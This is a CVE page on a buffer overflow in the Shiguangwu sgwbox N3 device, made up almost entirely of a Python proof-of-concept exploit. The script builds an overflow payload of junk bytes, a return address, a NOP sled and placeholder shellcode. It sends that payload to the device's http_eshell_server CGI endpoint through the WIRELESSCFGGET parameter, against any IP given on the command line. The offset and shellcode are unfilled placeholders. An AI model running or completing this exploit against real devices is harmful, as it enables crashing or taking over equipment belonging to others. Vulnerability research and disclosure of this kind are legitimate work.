CVE-2025-14709 Shiguangwu sgwbox N3 缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-14709 PoC - Shiguangwu sgwbox N3 Buffer Overflow Target: /usr/sbin/http_eshell_server WIRELESSCFGGET Interface """ import requests import sys TARGET = "http://{target_ip}/cgi-bin/http_eshell_server" def create_exploit_payload(): """Generate buffer overflow payload""" # Fill buffer to overflow junk = b"A" * 1000 # Overwrite return address (adjust for actual offset) ret_addr = b"\xaa\xbb\xcc\xdd" # NOP sled + shellcode placeholder nop_sled = b"\x90" * 100 shellcode = b"\xcc" * 50 # Placeholder - add actual shellcode payload = junk + ret_addr + nop_sled + shellcode return payload def exploit(target_ip): """Send exploit request to vulnerable endpoint""" url = TARGET.format(target_ip=target_ip) params = { "interface": "WIRELESSCFGGET", "params": create_exploit_payload().decode('latin-1') } try: print(f"[*] Sending exploit to {url}") response = requests.get(url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])